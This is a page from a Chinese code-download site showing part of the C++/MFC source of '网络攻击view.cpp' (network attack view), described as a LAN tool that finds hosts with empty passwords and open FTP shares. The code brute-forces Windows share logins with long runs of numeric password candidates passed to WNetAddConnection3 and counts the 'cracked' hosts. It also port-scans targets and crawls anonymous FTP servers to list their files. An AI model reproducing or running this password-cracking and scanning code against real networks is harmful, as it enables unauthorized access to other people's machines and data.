⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 网络攻击view.cpp

📁 这是局域网扫描空密码主机和ftp共享资源的一个软件的源代码
💻 CPP
📖 第 1 页 / 共 4 页
字号:
	index++;
		break;
	case 11:
	for(num6=from;num6<to;num6++)
	for(num5=3;num5<6;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 12:
	for(num6=from;num6<to;num6++)
	for(num5=6;num5<10;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;

		//
	/////////////
	case 13:
		from=3;
		to=4;
	for(num6=from;num6<to;num6++)
	for(num5=0;num5<3;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 14:
	for(num6=from;num6<to;num6++)
	for(num5=3;num5<6;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 15:
	for(num6=from;num6<to;num6++)
	for(num5=6;num5<10;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;

		//
/////////////
	case 16:
		from=4;
		to=5;
	for(num6=from;num6<to;num6++)
	for(num5=0;num5<3;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 17:
	for(num6=from;num6<to;num6++)
	for(num5=3;num5<6;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 18:
	for(num6=from;num6<to;num6++)
	for(num5=6;num5<10;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;

		//
	case 19:
		from=5;
		to=6;
	for(num6=from;num6<to;num6++)
	for(num5=0;num5<3;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 20:
	for(num6=from;num6<to;num6++)
	for(num5=3;num5<6;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 21:
	for(num6=from;num6<to;num6++)
	for(num5=6;num5<10;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;

		//
		//
	case 22:
		from=7;
		to=8;
	for(num6=from;num6<to;num6++)
	for(num5=0;num5<3;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 23:
	for(num6=from;num6<to;num6++)
	for(num5=3;num5<6;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 24:
	for(num6=from;num6<to;num6++)
	for(num5=6;num5<10;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;

		//
	case 25:
		from=8;
		to=9;
	for(num6=from;num6<to;num6++)
	for(num5=0;num5<3;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 26:
	for(num6=from;num6<to;num6++)
	for(num5=3;num5<6;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 27:
	for(num6=from;num6<to;num6++)
	for(num5=6;num5<10;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;

		//
	case 28:
		from=9;
		to=10;
	for(num6=from;num6<to;num6++)
	for(num5=0;num5<3;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 29:
	for(num6=from;num6<to;num6++)
	for(num5=3;num5<6;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 30:
	for(num6=from;num6<to;num6++)
	for(num5=6;num5<10;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;

		//
	}
	CString pp;
	POSITION pos=caijiep.GetHeadPosition( );
	for(int k=0;k<caijiep.GetCount( );k++)
	{
	pp=caijiep.GetAt(pos);
	if(pp[0]=='@')
	{
	char tt[30];
	for(int i=1;i<pp.GetLength();i++)
	tt[i-1]=pp[i];
	tt[pp.GetLength()-1]=0;
	pp=user;
	pp+=tt;
	}	
	//m_curip="name:";
	//m_curip+=user;
	m_pwd=pp;
	m_name=user;
	m_curip=ip;
	UpdateData(false);
	if(NO_ERROR==WNetAddConnection3(this->m_hWnd,netres,pp,user,CONNECT_UPDATE_PROFILE))
	{
	AfxMessageBox("破解密码");
	HTREEITEM tem=m_show.GetChildItem(rpitem);
	if(tem==NULL)
	{
	if(pp=="")
	{
		pp="空密码";
	}
	m_show.InsertItem(pp,6,6,rpitem,0);
	name=user;
	if(pp=="空密码")
		pp="";
	password=pp;
	////////////得到密码主机数+1
	igetp++;
	m_getp.Format("破解密码主机数: %d",igetp);
	UpdateData(false);
	m_show.SetItemImage(m_show.GetParentItem(m_show.GetParentItem(rpitem)),7,7);
	bget=true;
	break;
	}
	}
	else
	{

	}
	caijiep.GetNext(pos);
	}
	if(bget==true)
	break;
	}
	//////////
	delete netres;
}

void CMyView::updatestring(CString ip)
{
	CString pp="...",user="...";
	m_pwd=pp;
	m_name=user;
	m_curip=ip;
	m_curip+="...";
	UpdateData(false);
}

BOOL CMyView::ScanPorts(CString m_Ip, CString &strlist, CStringList &smtplist,HTREEITEM item)
{
	/*int port[70]={7,9,11,13,15,17,19,21,23,25,37,43,53,70,77,79,80,81,
		87,88,103,104,109,110,111,113,
        115,119,123,135,137,138,139,143,144,443,512,513,514,515,520,
        530,540,544,749,750,751,754,1024,1025,1026,1080,1234,1433,
		1600,2003,2049,3389,5742,6000,6667,7626,8080,8011,9100,12345,20024,
		31337,54320,0};*/
	int port[5]={21,80,25,135,139};
	int counter=0;
	if(m_bports==TRUE)
		counter=5;
	else
		counter=1;
	SOCKADDR_IN dest;
	memset(&dest,0,sizeof(dest));
	dest.sin_addr.S_un.S_addr=inet_addr(m_Ip);
	dest.sin_port=0;
	dest.sin_family=AF_INET;
	SOCKET hsock;
	CString temp,temp1;
	int error;
	for(int i=0;i<counter;i++)
	{
		hsock=socket(AF_INET,SOCK_STREAM,0);
		dest.sin_port=htons(port[i]);
		error=connect(hsock,(sockaddr*)(&dest),sizeof(SOCKADDR_IN));
		m_ports.Format("%d",port[i]);
		UpdateData(false);
		if(error!=-1)
		{
			temp1.Format("%d",port[i]);
			if(m_bports==TRUE&&item!=NULL)
			{
			m_show.InsertItem(temp1,9,9,item,0);
			//return TRUE;
			}

		}
		closesocket(hsock);
	}
	return FALSE;
}

void CMyView::getftpfile(CString ip,HTREEITEM item)
{ 
	try
	{	
		CInternetSession sess(_T("MyProgram/1.0"));
		CFtpConnection* pConnect = sess.GetFtpConnection(ip);
		CFtpFileFind finder(pConnect);
		CString findname="";
		BOOL bWorking = finder.FindFile(findname);
		bWorking = finder.FindNextFile();
		if(bWorking==TRUE)
		{
		iftp++;
		m_ftp.Format("%d",iftp);
		m_show.SetItemImage(m_show.GetParentItem(item),23,23);
		UpdateData(false);
		}
		findfile(ip,findname,finder,item);
		if (pConnect != NULL)
		pConnect->Close();
		delete pConnect;

   }
   catch (CInternetException* pEx)
   {
      TCHAR sz[1024];
      pEx->GetErrorMessage(sz, 1024);
      pEx->Delete();
	  return;
   }



}

void CMyView::findfile(CString ip,CString path,CFtpFileFind & finder,HTREEITEM item)
{
	HTREEITEM pitem=item;
	CString str="";
	CInternetSession sess(_T("MyProgram/1.0"));
	CFtpConnection* pConnect = NULL;
	//pConnect=new CFtpConnection();
	try
	{
	pConnect = sess.GetFtpConnection(ip);
	CFtpFileFind finder2(pConnect);
	BOOL bWorking = finder2.FindFile(path);
	while (bWorking)
	{
		bWorking = finder2.FindNextFile();
		if (finder2.IsDots())
		continue;
		if(finder2.IsDirectory( ))
		{
		CString foldstr=path;
		foldstr+=finder2.GetFilePath();
		/*for(int i=0;i<foldstr.GetLength();i++)
		{
		if(foldstr[i]==' ')
		{
		//foldstr[i]=' 
		}
		}*/
		pitem=m_show.InsertItem(finder2.GetFileName(),11,11,item,0);
		findfile(ip,foldstr,finder,pitem);
		}
		else
		{
		str=(LPCTSTR) finder2.GetFileName();
		int index=str.ReverseFind('.');
		char* tem=new char[5];
		for(int k=index;k<str.GetLength();k++)
			tem[k-index]=str[k];
		tem[str.GetLength()-index]=0;
		CString name=tem;
		delete tem;
		if(name==".exe")
		m_show.InsertItem(str,12,12,item,0);
		if(name==".txt")
		m_show.InsertItem(str,10,10,item,0);
		if(name==".rar")
		m_show.InsertItem(str,13,13,item,0);
		if(name==".avi")
		m_show.InsertItem(str,14,14,item,0);
		if(name==".hlp")
		m_show.InsertItem(str,15,15,item,0);
		if(name==".htm"||name==".html")
		m_show.InsertItem(str,16,16,item,0);
		if(name==".mp3")
		m_show.InsertItem(str,17,17,item,0);
		//if(name==".pdf")
		//m_show.InsertItem(str,18,18,item,0);
		if(name==".doc")
		m_show.InsertItem(str,22,22,item,0);
		if(name==".rm")
		m_show.InsertItem(str,20,20,item,0);
		//if(name==".doc")
		//m_show.InsertItem(str,20,20,item,0);
		if(name!=".rar"&&name!=".exe"&&name!=".txt"&&name!=".rar"&&
		   name!=".avi"&&name!=".hlp"&&name!=".htm"&&name!=".doc"&&
		   name!=".mp3"&&name!=".rm"//&&name!=".ppt"&&name!=".rm"&&
		   //name!=".doc"
		   )
		m_show.InsertItem(str,21,21,item,0);
		}

	}
   }
   catch (CInternetException* pEx)
   {
      TCHAR sz[1024];
      pEx->GetErrorMessage(sz, 1024);
      //printf("ERROR!  %s\n", sz);
      pEx->Delete();
   }

   if (pConnect != NULL)
      pConnect->Close();

}

void CMyView::OnDraw(CDC* pDC) 
{
	CBrush brush(RGB(100,80,150));
	//CRect rect;
	//GetClientRect(&rect);
	//pDC->FillRect(&rect,&brush);
	//pDC->Get
	
}

HBRUSH CMyView::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) 
{
	HBRUSH hbr = CFormView::OnCtlColor(pDC, pWnd, nCtlColor);
	/*HBRUSH b=CreateSolidBrush(RGB(100,80,150));
	if(nCtlColor==CTLCOLOR_STATIC)
	{
	pDC->SetTextColor(RGB(255,255,255));
	pDC->SetBkMode(TRANSPARENT);
	return b;
	}*/	
	// TODO: Return a different brush if the default is not desired
	return hbr;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -